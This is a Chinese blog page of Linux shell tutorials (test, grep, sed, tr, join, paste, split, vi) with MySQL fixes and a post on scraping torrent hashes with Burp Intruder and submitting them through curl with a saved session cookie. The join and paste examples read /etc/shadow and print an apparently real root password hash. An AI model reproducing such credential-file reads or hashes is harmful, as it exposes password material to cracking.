人若无名,便可专心练剑

linux shell 之判断表达式

  |   0 评论   |   2,057 浏览

1,test 命令

test:可以帮我们测试各种属性及比较操作

测试的标志 代表意义
1. 关于某个档名的『类型』测试(存在与否),如 test -e filename
-e 该『档名』是否存在?(常用)
-f 该『档名』是否为档案(file)?(常用)
-d 该『文件名』是否为目录(directory)?(常用)
-b 该『档名』是否为一个 block device 装置?
-c 该『档名』是否为一个 character device 装置?
-S 该『档名』是否为一个 Socket 档案?
-p 该『档名』是否为一个 FIFO (pipe) 档案?
-L 该『档名』是否为一个连结档?
2. 关于档案的权限测试,如 test -r filename
-r 测试该档名是否具有『可读』的属性?
-w 测试该档名是否具有『可写』的属性?
-x 测试该档名是否具有『可执行』的属性?
-u 测试该档名是否具有『SUID』的属性?
-g 测试该档名是否具有『SGID』的属性?
-k 测试该档名是否具有『Sticky bit』的属性?
-s 测试该档名是否为『非空白档案』?
3. 两个档案之间的比较,如: test file1 -nt file2
-nt (newer than)判断 file1 是否比 file2 新
-ot (older than)判断 file1 是否比 file2 旧
-ef 判断 file2 与 file2 是否为同一档案,可用在判断 hard link 的判定上。 主要意义在判定,两个档案是否均指向同一个 inode 哩!
4. 关于两个整数之间的判定,例如 test n1 -eq n2
-eq 两数值相等 (equal)
-ne 两数值不等 (not equal)
-gt n1 大于 n2 (greater than)
-lt n1 小于 n2 (less than)
-ge n1 大于等于 n2 (greater than or equal)
-le n1 小于等于 n2 (less than or equal)
5. 判定字符串的数据
test -z string 判定字符串是否为 0 ?若 string 为空字符串,则为 true
test -n string 判定字符串是否非为 0 ?若 string 为空字符串,则为 false。
注: -n 亦可省略
test str1 = str2 判定 str1 是否等于 str2 ,若相等,则回传 true
test str1 != str2 判定 str1 是否不等于 str2 ,若相等,则回传 false
6. 多重条件判定,例如: test -r filename -a -x filename
-a (and)两状况同时成立!例如 test -r file -a -x file,则 file 同时具有 r 与 x 权限时,才回传 true。
-o (or)两状况任何一个成立!例如 test -r file -o -x file,则 file 具有 r 或 x 权限时,就可回传 true。
! 反相状态,如 test ! -x file ,当 file 不具有 x 时,回传 true


2,[] 判断表达式

格式:

a,[]间的变量或者内容必需用空格隔开

b,括号内的变量最好使用双引号包括起来

c,括号中的常数最好使用单或者双引号括起来



3, if [ ...... ]; then  ..... ; fi条件判断





if [ 条件判断式 ]; then
	当条件判断式成立时,可以进行的指令工作内容;
else
	当条件判断式不成立时,可以进行的指令工作内容;
fi

4,case...esac 分支判断
case $变量名称 in
  "第一个变量内容")
	程序段
	;;
  "第二个变量内容")
	程序段
	;;
  *)
	不包含第一个变量内容与第二个变量内容的其他程序执行段
	exit 1
	;;
esac
5,循环表达式



while [ condition ]
do
	程序段落
done


until [ condition ]
do
	程序段落
done


for (( 初始值; 限制值; 执行步阶 ))
do
	程序段
done


for var in con1 con2 con3 ...
do
	程序段
done

特别:如果涉及到加减计算时需要作特别处理(如下面sum的处理)

#!/bin/sh
number=0;
sum=0;
until [ "$number" -gt "10" ]
do
	sum=$(($sum+$number));
	read -p "请输入" number;
done
echo "$sum";
exit 0;

linux shell 之 字符处理命令 三

  |   0 评论   |   2,265 浏览

1,grep 命令

grep:内容查找

用法:

用法: grep [选项]... PATTERN [FILE]...
在每个 FILE 或是标准输入中查找 PATTERN。
默认的 PATTERN 是一个基本正则表达式(缩写为 BRE)。
例如: grep -i 'hello world' menu.h main.c

正则表达式选择与解释:
  -E, --extended-regexp     PATTERN 是一个可扩展的正则表达式(缩写为 ERE)
  -F, --fixed-strings       PATTERN 是一组由断行符分隔的定长字符串。
  -G, --basic-regexp        PATTERN 是一个基本正则表达式(缩写为 BRE)
  -P, --perl-regexp         PATTERN 是一个 Perl 正则表达式
  -e, --regexp=PATTERN      用 PATTERN 来进行匹配操作
  -f, --file=FILE           从 FILE 中取得 PATTERN
  -i, --ignore-case         忽略大小写
  -w, --word-regexp         强制 PATTERN 仅完全匹配字词
  -x, --line-regexp         强制 PATTERN 仅完全匹配一行
  -z, --null-data           一个 0 字节的数据行,但不是空行

杂项:
  -s, --no-messages         不显示错误信息
  -v, --invert-match        选中不匹配的行
  -V, --version             显示版本信息并退出
      --help                显示此帮助并退出
      --mmap                忽略向后兼容性

输出控制:
  -m, --max-count=NUM       NUM 次匹配后停止
  -b, --byte-offset         输出的同时打印字节偏移
  -n, --line-number         输出的同时打印行号
      --line-buffered       每行输出清空
  -H, --with-filename       为每一匹配项打印文件名
  -h, --no-filename         输出时不显示文件名前缀
      --label=LABEL         将LABEL 作为标准输入文件名前缀
  -o, --only-matching       只显示一行中匹配PATTERN 的部分
  -q, --quiet, --silent     不显示所有输出
      --binary-files=TYPE   假定二进制文件的TYPE 类型;
                            TYPE 可以是`binary', `text', 或`without-match'
  -a, --text                等同于 --binary-files=text
  -I                        等同于 --binary-files=without-match
  -d, --directories=ACTION  操作目录的方式;
                            ACTION 可以是`read', `recurse',或`skip'
  -D, --devices=ACTION      操作设备、先入先出队列、套接字的方式;
                            ACTION 可以是`read'或`skip'
  -r, --recursive           等同于--directories=recurse
  -R, --dereference-recursive       与上类似,但遍历所有符号链接
      --include=FILE_PATTERN  只查找匹配FILE_PATTERN 的文件
      --exclude=FILE_PATTERN  跳过匹配FILE_PATTERN 的文件和目录
      --exclude-from=FILE   跳过所有除FILE 以外的文件
      --exclude-dir=PATTERN  跳过所有匹配PATTERN 的目录。
  -L, --files-without-match  只打印不匹配FILEs 的文件名
  -l, --files-with-matches  只打印匹配FILES 的文件名
  -c, --count               只打印每个FILE 中的匹配行数目
  -T, --initial-tab         行首tabs 分隔(如有必要)
  -Z, --null                在FILE 文件最后打印空字符

文件控制:
  -B, --before-context=NUM  打印以文本起始的NUM 行
  -A, --after-context=NUM   打印以文本结尾的NUM 行
  -C, --context=NUM         打印输出文本NUM 行
  -NUM                      等同于 --context=NUM
      --color[=WHEN],
      --colour[=WHEN]       使用标志高亮匹配字串;
                            WHEN 可以是`always', `never'或`auto'
  -U, --binary              不要清除行尾的CR 字符(MSDOS 模式)
  -u, --unix-byte-offsets   当CR 字符不存在,报告字节偏移(MSDOS/Windows 模式)

‘egrep’即‘grep -E’。‘fgrep’即‘grep -F’。
直接使用‘egrep’或是‘fgrep’均已不可行了。
若FILE 为 -,将读取标准输入。不带FILE,读取当前目录,除非命令行中指定了-r 选项。
如果少于两个FILE 参数,就要默认使用-h 参数。
如果有任意行被匹配,那退出状态为 0,否则为 1;
如果有错误产生,且未指定 -q 参数,那退出状态为 2。
例子:第一部分,为员数据,第二部分为通过grep后所选取的数据
root@c2y2:/home/exp/vodxunlei/source# cat 1060.txt  
&z">http://www.rmdown.com/link.php?hash=
141ee5eee2e2a407f50bee7ac32a27ad11705e3c81c</a><br><img src='http://img6.imgtiger.com/images/6473105
141e8e9651b23cd7d34f228d83cf588475f81e6c7cc
141b8b2cf9c7782fdd868e9c60189cc5ded29bd296f
141e0bd031462fc00edd55d42453ef48f919f297e7b
1412ad7031bcb3753ad4e8c53b20fc58ab9d50af988
141b4c476b545987241c15d3564a40a9214d257431e</a><br></div>

</td></tr></table>
</th></tr>
<tr class="
141ab3526e410bedc47f81ae58e3f718f6579307428</a><br><br><br><font color=gray>[ ���N��212121��2014-03-
141463d97766a28483fc852e0839317a5be98eac57e</a><br>�����y�{���۹������������Ђ��˵Đۺã��ҿ�������
14163f7ca8d88f6c38a7178fe0fc079d7e90abec24f
root@c2y2:/home/exp/vodxunlei/source# cat 1060.txt|grep "[a-z0-9]\{43\}"
141ee5eee2e2a407f50bee7ac32a27ad11705e3c81c</a><br><img src='http://img6.imgtiger.com/images/6473105
141e8e9651b23cd7d34f228d83cf588475f81e6c7cc
141b8b2cf9c7782fdd868e9c60189cc5ded29bd296f
141e0bd031462fc00edd55d42453ef48f919f297e7b
1412ad7031bcb3753ad4e8c53b20fc58ab9d50af988
141b4c476b545987241c15d3564a40a9214d257431e</a><br></div>
141ab3526e410bedc47f81ae58e3f718f6579307428</a><br><br><br><font color=gray>[ ���N��212121��2014-03-
141463d97766a28483fc852e0839317a5be98eac57e</a><br>�����y�{���۹������������Ђ��˵Đۺã��ҿ�������
14163f7ca8d88f6c38a7178fe0fc079d7e90abec24f
grep正则表达式:
^ 行的开始 如:'^grep'匹配所有以grep开头的行。 
$ 行的结束 如:'grep$'匹配所有以grep结尾的行。 
. 匹配一个非换行符的字符 如:'gr.p'匹配gr后接一个任意字符
* 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行。 .*一起用代表任意字符。
[] 匹配一个指定范围内的字符,如'[Gg]rep'匹配Grep和grep。 
[^] 匹配一个不在指定范围内的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。 
\(..\) 标记匹配字符,如'\(love\)',love被标记为1。 
\ 锚定单词的开始,如:'\匹配包含以grep开头的单词的行。 
\> 锚定单词的结束,如'grep\>'匹配包含以grep结尾的单词的行。 
x\{m\} 重复字符x,m次,如:'0\{5\}'匹配包含5个o的行。 
x\{m,\} 重复字符x,至少m次,如:'o\{5,\}'匹配至少有5个o的行。 
x\{m,n\}重复字符x,至少m次,不多于n次,如:'o\{5,10\}'匹配5--10个o的行。
\w 匹配文字和数字字符,也就是[A-Za-z0-9],如:'G\w*p'匹配以G后跟零个或多个文字或数字字符,然后是p。
\b 单词锁定符,如: '\bgrep\b'只匹配grep
拓展:传送门

2,sed 命令

sed [-nefr] [动作]
参数:
-n  :使用安静(silent)模式。在一般 sed 的用法中,所有来自 STDIN 
      的数据一般都会被列出到屏幕上。但如果加上 -n 参数后,则只有经过
      sed 特殊处理的那一行(或者动作)才会被列出来。
-e  :直接在指令列模式上进行 sed 的动作编辑;
-f  :直接将 sed 的动作写在一个档案内, -f filename 则可以执行 filename 内的 
      sed 动作;
-r  :sed 的动作支持的是延伸型正规表示法的语法。(预设是基础正规表示法语法)
-i  :直接修改读取的档案内容,而不是由屏幕输出。

动作说明:  [n1[,n2]]function
n1, n2 :不见得会存在,一般代表『选择进行动作的行数』,举例来说,如果我的动作
         是需要在 10 到 20 行之间进行的,则『 10,20[动作行为] 』

function 有底下这些东东:
a   :新增, a 的后面可以接字符串,而这些字符串会在新的一行出现(目前的下一行)~
c   :取代, c 的后面可以接字符串,这些字符串可以取代 n1,n2 之间的行!
d   :删除,因为是删除啊,所以 d 后面通常不接任何咚咚;
i   :插入, i 的后面可以接字符串,而这些字符串会在新的一行出现(目前的上一行);
p   :打印,亦即将某个选择的数据印出。通常 p 会与参数 sed -n 一起运作~
s   :取代,可以直接进行取代的工作哩!通常这个 s 的动作可以搭配
      正规表示法!例如 1,20s/old/new/g 就是啦!


vi 常用编辑命令

  |   0 评论   |   1,934 浏览

一般模式: 移动光标的方法
h 或 向左箭头键(←) 光标向左移动一个字符
j 或 向下箭头键(↓) 光标向下移动一个字符
k 或 向上箭头键(↑) 光标向上移动一个字符
l 或 向右箭头键(→) 光标向右移动一个字符
如果想要进行多次移动的话,例如向下移动 30 行,可以使用 "30j" 或 "30↓" 的组合按键, 亦即加上想要进行的次数(数字)后,按下动作即可!
[Ctrl] + [f] 屏幕『向下』移动一页,相当于 [Page Down]按键 (常用)
[Ctrl] + [b] 屏幕『向上』移动一页,相当于 [Page Up] 按键 (常用)
[Ctrl] + [d] 屏幕『向下』移动半页
[Ctrl] + [u] 屏幕『向上』移动半页
+ 光标移动到非空格符的下一列
- 光标移动到非空格符的上一列
n<space> 那个 n 表示『数字』,例如 20 。按下数字后再按空格键,光标会向右移动这一行的 n 个字符。例如 20<space> 则光标会向后面移动 20 个字符距离。
0 这是数字『 0 』:移动到这一行的最前面字符处 (常用)
$ 移动到这一行的最后面字符处(常用)
H 光标移动到这个屏幕的最上方那一行
M 光标移动到这个屏幕的中央那一行
L 光标移动到这个屏幕的最下方那一行
G 移动到这个档案的最后一行(常用)
nG n 为数字。移动到这个档案的第 n 行。例如 20G 则会移动到这个档案的第 20 行(可配合 :set nu)
gg 移动到这个档案的第一行,相当于 1G 啊! (常用)
n<Enter> n 为数字。光标向下移动 n 行(常用)
一般模式: 搜寻与取代
/word 向光标之下寻找一个字符串名称为 word 的字符串。例如要在档案内搜寻 vbird 这个字符串,就输入 /vbird 即可! (常用)
?word 向光标之上寻找一个字符串名称为 word 的字符串。
n 这个 n 是英文按键。代表『重复前一个搜寻的动作』的意思。举例来说, 如果刚刚我们执行 /vbird 去向下搜寻 vbird 这个字符串,则按下 n 后,会向下继续搜寻下一个名称为 vbird 的字符串。如果是执行 ?vbird 的话,那么按下 n 则会向上继续搜寻名称为 vbird 的字符串!
N 这个 N 是英文按键。与 n 刚好相反,为『反向』进行前一个搜寻动作。 例如 /vbird 后,按下 N 则表示『向上』搜寻 vbird 。
:n1,n2s/word1/word2/g n1 与 n2 为数字。在第 n1 与 n2 行之间寻找 word1 这个字符串,并将该字符串取代为 word2 !举例来说,在 100 到 200 行之间搜寻 vbird 并取代为 VBIRD 则:
『:100,200s/vbird/VBIRD/g』。
(常用)
:1,$s/word1/word2/g 从第一行到最后一行寻找 word1 字符串,并将该字符串取代为 word2 !(常用)
:1,$s/word1/word2/gc 从第一行到最后一行寻找 word1 字符串,并将该字符串取代为 word2 !且在取代前显示提示字符给用户确认 (confirm) 是否需要取代!(常用)
一般模式: 删除、复制与贴上
x, X 在一行字当中,x 为向后删除一个字符 (相当于 [del] 按键), X 为向前删除一个字符(相当于 [backspace] 亦即是退格键) (常用)
nx n 为数字,连续向后删除 n 个字符。举例来说,我要连续删除 10 个字符, 『10x』。
dd 删除游标所在的那一整列(常用)
ndd n 为数字。删除光标所在的向下 n 列,例如 20dd 则是删除 20 列 (常用)
d1G 删除游标所在到第一行的所有数据
dG 删除游标所在到最后一行的所有数据
d$ 删除游标所在处,到该行的最后一个字符
d0 那个是数字的 0 ,删除游标所在处,到该行的最前面一个字符
yy 复制游标所在的那一行(常用)
nyy n 为数字。复制光标所在的向下 n 列,例如 20yy 则是复制 20 列(常用)
y1G 复制游标所在列到第一列的所有数据
yG 复制游标所在列到最后一列的所有数据
y0 复制光标所在的那个字符到该行行首的所有数据
y$ 复制光标所在的那个字符到该行行尾的所有数据
p, P p 为将已复制的数据在光标下一行贴上,P 则为贴在游标上一行! 举例来说,我目前光标在第 20 行,且已经复制了 10 行数据。则按下 p 后, 那 10 行数据会贴在原本的 20 行之后,亦即由 21 行开始贴。但如果是按下 P 呢? 那么原本的第 20 行会被推到变成 30 行。 (常用)
J 将光标所在列与下一列的数据结合成同一列
c 重复删除多个数据,例如向下删除 10 行,[ 10cj ]
u 复原前一个动作。(常用)
[Ctrl]+r 重做上一个动作。(常用)
这个 u 与 [Ctrl]+r 是很常用的指令!一个是复原,另一个则是重做一次~ 利用这两个功能按键,您的编辑,嘿嘿!很快乐的啦!
. 不要怀疑!这就是小数点!意思是重复前一个动作的意思。 如果您想要重复删除、重复贴上等等动作,按下小数点『.』就好了! (常用)
进入编辑模式
i, I 插入:在目前的光标所在处插入输入之文字,已存在的文字会向后退; 其中, i 为『从目前光标所在处插入』, I 为『在目前所在行的第一个非空格符处开始插入』。 (常用)
a, A a 为『从目前光标所在的下一个字符处开始插入』, A 为『从光标所在行的最后一个字符处开始插入』。(常用)
o, O 这是英文字母 o 的大小写。o 为『在目前光标所在的下一行处插入新的一行』; O 为在目前光标所在处的上一行插入新的一行!(常用)
r, R 取代:r 会取代光标所在的那一个字符;R会一直取代光标所在的文字,直到按下 ESC 为止;(常用)
上面这些按键中,在 vi 画面的左下角处会出现『--INSERT--』或『--REPLACE--』的字样。 由名称就知道该动作了吧!!特别注意的是,我们上面也提过了,你想要在档案里面输入字符时, 一定要在左下角处看到 INSERT/REPLACE 才能输入喔!
Esc 退出编辑模式,回到一般模式中(常用)
指令列命令模式
:w 将编辑的数据写入硬盘档案中(常用)
:w! 若文件属性为『只读』时,强制写入该档案。不过,到底能不能写入, 还是跟您对该档案的档案权限有关啊!
:q 离开 vi (常用)
:q! 若曾修改过档案,又不想储存,使用 ! 为强制离开不储存档案。
注意一下啊,那个惊叹号 (!) 在 vi 当中,常常具有『强制』的意思~
:wq 储存后离开,若为 :wq! 则为强制储存后离开 (常用)
:e! 将文件还原到最原始的状态!
ZZ 若档案没有更动,则不储存离开,若档案已经经过更动,则储存后离开!
:w [filename] 将编辑的数据储存成另一个档案(类似另存新档)
:r [filename] 在编辑的数据中,读入另一个档案的数据。亦即将 『filename』 这个档案内容加到游标所在行后面
:n1,n2 w [filename] 将 n1 到 n2 的内容储存成 filename 这个档案。
:! command 暂时离开 vi 到指令列模式下执行 command 的显示结果!例如
『:! ls /home』即可在 vi 当中察看 /home 底下以 ls 输出的档案信息!
:set nu 显示行号,设定之后,会在每一行的前缀显示该行的行号
:set nonu 与 set nu 相反,为取消行号!

linux shell 之 字符处理命令 二

  |   0 评论   |   2,811 浏览

1,tr 命令

哈哈,tr???table里边的tr吗,:-) 想多了,不够就是处理行的哦

tr:tr 可以用来删除一段讯息当中的文字,或者是进行文字讯息的替换!

使用方法:

用法:tr [选项]... SET1 [SET2]
从标准输入中替换、缩减和/或删除字符,并将结果写到标准输出。

  -c, -C, --complement		首先补足SET1
  -d, --delete			删除匹配SET1 的内容,并不作替换
  -s, --squeeze-repeats	如果匹配于SET1 的字符在输入序列中存在连续的
				重复,在替换时会被统一缩为一个字符的长度
  -t, --truncate-set1		先将SET1 的长度截为和SET2 相等
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

SET 是一组字符串,一般都可按照字面含义理解。解析序列如下:

  \NNN	八进制值为NNN 的字符(1 至3 个数位)
  \\		反斜杠
  \a		终端鸣响
  \b		退格
  \f		换页
  \n		换行
  \r		回车
  \t		水平制表符
  \v		垂直制表符
  字符1-字符2	从字符1 到字符2 的升序递增过程中经历的所有字符
  [字符*]	在SET2 中适用,指定字符会被连续复制直到吻合设置1 的长度
  [字符*次数]	对字符执行指定次数的复制,若次数以 0 开头则被视为八进制数
  [:alnum:]	所有的字母和数字
  [:alpha:]	所有的字母
  [:blank:]	所有呈水平排列的空白字符
  [:cntrl:]	所有的控制字符
  [:digit:]	所有的数字
  [:graph:]	所有的可打印字符,不包括空格
  [:lower:]	所有的小写字母
  [:print:]	所有的可打印字符,包括空格
  [:punct:]	所有的标点字符
  [:space:]	所有呈水平或垂直排列的空白字符
  [:upper:]	所有的大写字母
  [:xdigit:]	所有的十六进制数
  [=字符=]	所有和指定字符相等的字符

仅在SET1 和SET2 都给出,同时没有-d 选项的时候才会进行替换。
仅在替换时才可能用到-t 选项。如果需要SET2 将被通过在末尾添加原来的末字符的方式
补充到同SET1 等长。SET2 中多余的字符将被省略。只有[:lower:] 和[:upper:]
以升序展开字符;在用于替换时的SET2 中以成对表示大小写转换。-s 作用于SET1,既不
替换也不删除,否则在替换或展开后使用SET2 缩减。
例子:将内容由小写转为大写
root@c2y2:/home/exp/vodxunlei/source# cat 1.txt |head -2
1410cf3882936ef6717bef14db891d8f4e6a887e449
141f5a588b071d85924bbf82bcf1cc875f905eebd8e
root@c2y2:/home/exp/vodxunlei/source# cat 1.txt |head -2|tr "[:lower:]" "[:upper:]"
1410CF3882936EF6717BEF14DB891D8F4E6A887E449
141F5A588B071D85924BBF82BCF1CC875F905EEBD8E
root@c2y2:/home/exp/vodxunlei/source# 
2,join 命令

join:针对每一对具有相同内容的输入行,整合为一行写到标准输出

用法:

用法:join [选项]... 文件1 文件2
针对每一对具有相同内容的输入行,整合为一行写到标准输出,
默认的内容连接区块是由第一个空白符代表的分界符号。当文件1
或文件2 都被指定为"-"时,程序将从标准输入读取数据。

  -a  文件编号    	文件编号的值可以是1 或2,分别对应文件1 和 文件2。
                      	此选项用于根据指定文件编号输出不成对的行目。
  -e 字符    		将缺失的输入区块替换为指定字符
  -i, --ignore-case 	比较时忽略大小写
  -j 域 		等于"-1 域 -2 域"
  -o 格式 		按照指定格式构造输出行
  -t 字符 		使用指定字符作为输入和输出的分隔符
  -v 文件编号        	类似 -a 文件编号,但禁止组合输出行
  -1 域          	在文件1 的此域组合
  -2 域          	在文件2 的此域组合
  --check-order     	检查输入行是否正确排序,即使所有输入行均是成对的
  --nocheck-order   	不检查输入是否正确排序
  --header          	将首行视作域的头部,直接输出而不对其进行匹配
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

除非使用了"-t 字符串" 选项,否则前导空格分隔的域将被忽略,如果指定了字符串,
则使用指定字符串分隔任意的域并从1 开始计数的域编号。可以指定的格式是由一个
或多个逗号活空格所分隔的描述,其形式为"文件编号.域"或者"0"。默认的
格式输出合并后的域、文件1 和文件2 剩下的域,均由该指定字符串分隔。

重要提示:文件1 和文件2 必须在合并域中排序。
例如,如果"join"后没有选项,使用"sort -k 1b,1"。
注意,所进行的比较遵从"LC_COLLATE"所指定的的规则。
如果输入没有被排序并导致某些行无法合并,将会显示警告信息。

例子:

root@c2y2:/home/exp/vodxunlei/source# cat /etc/passwd|head -2 > passwd
root@c2y2:/home/exp/vodxunlei/source# cat /etc/shadow|head -2 > shadow
root@c2y2:/home/exp/vodxunlei/source# cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
root@c2y2:/home/exp/vodxunlei/source# cat shadow 
root:$6$CsRWrpeV$b0Kmabhimd69oV46/MbsL64HNQMoZnh3g6lWu/Z5YKFsp20btmt4YGG/GEB4kVoIt.mKmZzcX0LbEcljuo90.:15912:0:99999:7:::
daemon:*:15820:0:99999:7:::
root@c2y2:/home/exp/vodxunlei/source# join -t ":" passwd shadow 
root:x:0:0:root:/root:/bin/bash:$6$CsRWrpeV$b0Kmabhimd69oV46/MbsL64HNQMoZnh3g6lWu/Z5YKFsp20btmt4YGG/GEB4kVoIt.mKmZzcX0LbEcljuo90.:15912:0:99999:7::: daemon:x:1:1:daemon:/usr/sbin:/bin/sh:*:15820:0:99999:7:::

3,paste

pase:将每个文件的同行粘贴在一起

用法:


用法:paste [选项]... [文件]...
将每个指定文件里的每一行整合到对应一行里写到标准输出,之间用制表符分隔。
如果没有指定文件,或指定文件为"-",程序将从标准输入读取数据。

长选项必须使用的参数对于短选项时也是必需使用的。
  -d, --delimiters=列表	改用指定列表里的字符替代制表分隔符
  -s, --serial		不使用平行的行目输出模式,而是每个文件占用一行
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出
例子:
root@c2y2:/home/exp/vodxunlei/source# paste passwd shadow 
root:x:0:0:root:/root:/bin/bash	root:$6$CsRWrpeV$b0Kmabhimd69oV46/MbsL64HNQMoZnh3g6lWu/Z5YKFsp20btmt4YGG/GEB4kVoIt.mKmZzcX0LbEcljuo90.:15912:0:99999:7::: daemon:x:1:1:daemon:/usr/sbin:/bin/sh	daemon:*:15820:0:99999:7:::

4,split分割命令

split:对文件进行切割,很使用,特别是有的文本特别大时,如大日字文件

用法:


用法:split [选项]... [输入 [前缀]]
将输入内容拆分为固定大小的分片并输出到"前缀aa"、"前缀ab",...;
默认以 1000 行为拆分单位,默认前缀为"x"。如果不指定文件,或
者文件为"-",则从标准输入读取数据。

长选项必须使用的参数对于短选项时也是必需使用的。
  -a, --suffix-length=N   use suffixes of length N (default 2)
  -b, --bytes=SIZE        put SIZE bytes per output file
  -C, --line-bytes=SIZE   put at most SIZE bytes of lines per output file
  -d, --numeric-suffixes  use numeric suffixes instead of alphabetic
  -e, --elide-empty-files  do not generate empty output files with `-n'
      --filter=COMMAND    write to shell COMMAND; file name is $FILE
  -l, --lines=NUMBER      put NUMBER lines per output file
  -n, --number=CHUNKS     generate CHUNKS output files.  See below
  -u, --unbuffered        immediately copy input to output with `-n r/...'
      --verbose		在每个输出文件打开前输出文件特征
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

SIZE 可以是一个可选的整数,后面跟着以下单位中的一个:
KB 1000,K 1024,MB 1000*1000,M 1024*1024,还有 G、T、P、E、Z、Y。

块数可能为:
N	基于输入的大小分割为N 个文件
K/N	将N 个文件中的第K 个输出到标准输出
l/N	分割为N 个文件,但分割时不切断行
l/K/N	将N 个文件中的第K 个输出到标准输出,但分割时不切断行
r/N	类似l 但使用轮询分配
r/K/N	类似r/N 但尽将N 个文件中的第K 个输出到标准输出
例子:拆分图片,并合并图片哈,合并后的完全能用哦。


root@c2y2:/home/exp/Pictures/temp# ls -al
总用量 2336
drwxr-xr-x 2 root root    4096  3月 28 00:44 .
drwxr-xr-x 3 exp  exp     4096  3月 28 00:44 ..
-rw------- 1 root root 2382720  3月 28 00:44 download.png
root@c2y2:/home/exp/Pictures/temp# split -b 1000k download.png download.png 
root@c2y2:/home/exp/Pictures/temp# ls
download.png  download.pngaa  download.pngab  download.pngac
root@c2y2:/home/exp/Pictures/temp# ls -al
总用量 4664
drwxr-xr-x 2 root root    4096  3月 28 00:44 .
drwxr-xr-x 3 exp  exp     4096  3月 28 00:44 ..
-rw------- 1 root root 2382720  3月 28 00:44 download.png
-rw-r--r-- 1 root root 1024000  3月 28 00:44 download.pngaa
-rw-r--r-- 1 root root 1024000  3月 28 00:44 download.pngab
-rw-r--r-- 1 root root  334720  3月 28 00:44 download.pngac
root@c2y2:/home/exp/Pictures/temp# rm download.png -rf
root@c2y2:/home/exp/Pictures/temp# cat download.pngaa download.pngab download.pngac > download.png
5,-管线命令

-:将其作为前一个的标准输出,并作为后面一个命令的标准输入

例子:我将 /home 里面的档案给他打包,但打包的数据不是纪录到档案,而是传送到 stdout; 经过管线后,将 tar -cvf - /home 传送给后面的 tar -xvf - 

tar -cvf - /home | tar -xvf -

后记::-),一天一天多一点。。。。

linux shell 让你批量上传种子到你云播空间

  |   0 评论   |   2,676 浏览

^_^,还在为奔波于网页间寻找种子而发愁吗,还在为,不能很好批量上传种子而,发愁吗,

呵呵,仔细来瞧瞧吧。

从此以后解放你们的右手,让其用到恰到好处吧。

首先,我们需要进入大家熟知的某某论坛(大家都懂吧,不懂当我什么也没说哈),摁,进去干什么呢,:-)

我们需要抓取链接哦,比如:

http://xxx.abcd.com/htm_data/2/1403/1059797.html

然后我们可以分析这个链接,发现规律即可,然后可以祭出我们的神器拉(burp),:-),我们要怎么用呢

:-),当然是将抓取到的链接发到burp的intruder功能里边

然后作如下配置,添加动态变量点


设在范围:比如:100-999,总共900次请求哦

\


当然孩的设置截取点:


:-),:还等什么呢,然后就可以开始提取我们需要的值啦。

:-),将提取到的我们需要的的值过滤出来保存到相应的文件中,:-)



说哈上面这张图片的内容,其中数字开头的为我们所提取的hash值,而那个cookie呢,是我们登录云播过后的cookie值,哪个url呢,当然是云播上传种子时的url值;

呵呵,我们来看看,hash值的样子吧,

:-),就是这个样子的,很奇怪吧,这么一窜数字,可以让世界很精彩哦,一行就代表一部动作片哦。

:现在就是万事具备只欠东风了哦,下面是关键的哦,

我们需要将上面的每一行hash值提交到迅雷云播上哦。

工具,bash,curl,

啥都不说了,贴代码:


#!/bin/bash
read -p "请输入文件名带文件格式:" name
#格式化hash
hashTemp="`cat  /home/exp/vodxunlei/source/$name|grep "^[a-z0-9]\{43\}"|cut -c -43|cut -c 4- | tr '[:lower:]' '[:upper:]' 2>/dev/null`";
url="`cat  /home/exp/vodxunlei/source/url 2>/dev/null`";
count=0;
for hash in $hashTemp
do
	param='{"urls":[{"id":"1","url":"bt:'//"$hash"'"}]}';
	let count=$count+1;
	curl "$url" -d "$param";
done
echo "总共提交了$count个视频,enjoy 你的片片吧,哈哈"
exit 0;
然后保存为linux的shell文件。(注意文件路径哦,根据自己需要改吧)


呵呵,现在就是上传了

打开shell界面然后执行就ok拉,

结果是什么呢:


没错,你会多很多很多的东西哦,:-),



后记:目的,将繁琐测操作快捷化,提高效率,珍惜生命。

            学海无涯,欣赏电影也是需要总结的哈,什么事不需要呢,呵呵,娱乐也不仅仅是娱乐哦。

mysql 数据库常见错误解决

  |   0 评论   |   2,406 浏览

1,创建函数时:This function has none of DETERMINISTIC, NO SQL

历史解决方法:

mysql> show variables like 'log_bin_trust_function_creators';
+---------------------------------+-------+
| Variable_name                   | Value |
+---------------------------------+-------+
| log_bin_trust_function_creators | OFF   |
+---------------------------------+-------+
mysql> set global log_bin_trust_function_creators=1;
mysql> show variables like 'log_bin_trust_function_creators';
+---------------------------------+-------+
| Variable_name                   | Value |
+---------------------------------+-------+
| log_bin_trust_function_creators | ON    |
+---------------------------------+-------+

彻底解决方法:

在mysql配置文件my.inf 中加入 log_bin_trust_function_creators=1

原因:

数据库开启了bin-log, 我们就必须指定我们的函数是否是
1 DETERMINISTIC 不确定的
2 NO SQL 没有SQl语句,当然也不会修改数据
3 READS SQL DATA 只是读取数据,当然也不会修改数据
4 MODIFIES SQL DATA 要修改数据
5 CONTAINS SQL 包含了SQL语句


2,mysql 执行计划无法创建

解决方法1:

mysql> show variables like '%event%';
+-----------------+-------+
| Variable_name   | Value |
+-----------------+-------+
| event_scheduler | OFF   |
+-----------------+-------+
1 row in set (0.00 sec)

mysql> set global event_scheduler = on;
Query OK, 0 rows affected (0.00 sec)
解决方法2,彻底结局

在mysql配置文件my.inf 中加入event_scheduler=1

3,linux下mysql区分大小写
在mysql配置文件my.inf 中加入 lower_case_table_names=0 不区分大小写
 lower_case_table_names=0
 其中0:区分大小写,1:不区分大小写 

4,查询时数据报错:com.mysql.jdbc.PacketTooBigException: Packet for query is too large


原因:mysql max_allowed_packet  设置的太小

 临时解决方法:set global max_allowed_packet = 10*1024*1024*10

侧地解决方法:修改配置文件 my.inf 没的话 添加有的话直接修改
max_allowed_packet=100M


linux shell 之 字符处理命令一

  |   0 评论   |   3,459 浏览

1cut 截取命令

cut :主要用于对行数据的分解

常用语法:

用法:cut [选项]... [文件]...
从每个文件中输出指定部分到标准输出。
长选项必须使用的参数对于短选项时也是必需使用的。
  -b, --bytes=列表		只选中指定的这些字节
